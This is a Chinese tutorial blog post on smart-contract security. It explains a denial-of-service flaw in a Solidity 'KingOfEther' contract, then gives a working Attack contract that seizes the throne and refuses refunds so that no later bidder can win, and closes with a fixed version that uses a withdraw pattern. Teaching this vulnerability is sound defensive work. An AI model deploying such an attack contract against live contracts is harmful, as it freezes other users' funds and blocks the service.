美文网首页合约安全
合约安全:拒绝服务攻击(Denial of Service)

合约安全:拒绝服务攻击(Denial of Service)

作者: 梁帆 | 来源:发表于2022-12-05 11:51 被阅读0次

一、漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    // You can also perform a DOS by consuming all gas using assert.
    // This attack will work even if the calling contract does not check
    // whether the call was successful or not.
    //
    // function () external payable {
    //     assert(false);
    // }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}

这个KingOfEther合约,msg.sender可以通过claimThrone传入以太,当传入的以太数值高于balance的时候,这个msg.sender就成为了king,而且在成为king之前,要把之前king传入的以太返还回去:

(bool sent, ) = king.call{value: balance}("");

这个合约乍一看没有什么问题,但是可能会导致拒绝服务攻击,核心原因就在于,这个返回以太的代码不一定成功执行,一旦无法成功执行,就阻塞在这里了。

我们的攻击合约Attack,核心就是进行了一次KingOfEther的合约调用,试想一下这样的过程:

  • Bob通过claimThrone传入了1 Ether,Bob成为King
  • Alice通过claimThrone传入了2 Ether,之前Bob传入的1 Ether又通过call返还了Bob,Alice成为了King
  • 此时Attack合约发布了,再由Attack通过claimThrone传入了4 Ether,之前Alice传入的2 Ether又通过call返还了Alice,Attack地址就成为了King
  • 此时合约已经被锁定了
  • Tom通过claimThrone传入了5 Ether,按照之前的流程,理应由Tom成为新的King,但实际上,当程序执行到返还Attack传入4 Ether时,由于我们的Attack合约并没有receive()或者fallback(),无法接收以太,于是失败了
  • 这样任何新地址都无法成为King,整个合约就是拒绝服务的状态

二、预防手段

合约中,不要主动给地址发以太,发以太时也要仔细斟酌整个逻辑,思考会不会发生DoS攻击。像我们这个例子中,就不能主动发送以太,可以自己设置一个withdraw方法,由用户自己进行提款:

contract KingOfEther {
    address public king;
    uint public balance;
    mapping(address => uint) public balances;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        balances[king] += balance;

        balance = msg.value;
        king = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != king, "Current king cannot withdraw");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

相关文章

网友评论

    本文标题:合约安全:拒绝服务攻击(Denial of Service)

    本文链接:https://www.haomeiwen.com/subject/ppabfdtx.html